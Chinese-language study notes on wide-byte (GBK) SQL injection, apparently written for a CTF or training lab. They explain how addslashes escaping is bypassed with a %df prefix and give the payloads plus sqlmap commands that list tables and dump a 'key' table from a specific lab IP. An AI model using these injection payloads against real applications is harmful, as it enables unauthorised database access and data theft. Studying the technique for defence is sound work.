在学习宽字节注入前我们需要先了解一下mysql中常常用来转义的函数有以下几种:addslashes、mysql_real_escape_string、mysql_escape_string以及后面在高版本被去除的magic_quote_gpc,常用的是addslashes,它的定义是返回在预定义字符之前添加反斜杠的字符串,预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL
PHP addslashes() 函数https://www.w3school.com.cn/php/func_string_addslashes.asp
GBK 编码范围, GBK 编码表GBK编码采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。https://www.qqxiuzi.cn/zh/hanzi-gbk-bianma.phpGBK 编码表 - 在线工具GBK编码表http://106.14.124.170/Encoding/GBK
- 在限制的符号前面加一个ascii码大于128的和反斜线才会被编码成一个汉字
- id=1%df'
- id=1�'
chinalover.sinaapp.com/SQL-GBK/index.php?http://chinalover.sinaapp.com/SQL-GBK/index.php?
- #直接测试
- id=1'
- #添加%df
- id=1�'
SQL注入之宽字节(GBK)注入https://labs.do-ta.com/index/course/detail/id/110
id=1%df'
- #此时我们可以看出有报错提示说明我们单引号逃逸成功了,那么直接联合查询出数据
- id=-1%df' union select 1,database(),3%23
- #注入获取库中的表
- python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" --tables -D "sql-kuanzijiegbk-1" -v 0
- #注入获取我们的key表数据
- python sqlmap.py -u "http://120.25.24.45:30206/index.php?id=1%df'" -T "key" -D "sql-kuanzijiegbk-1" -v 0 --dump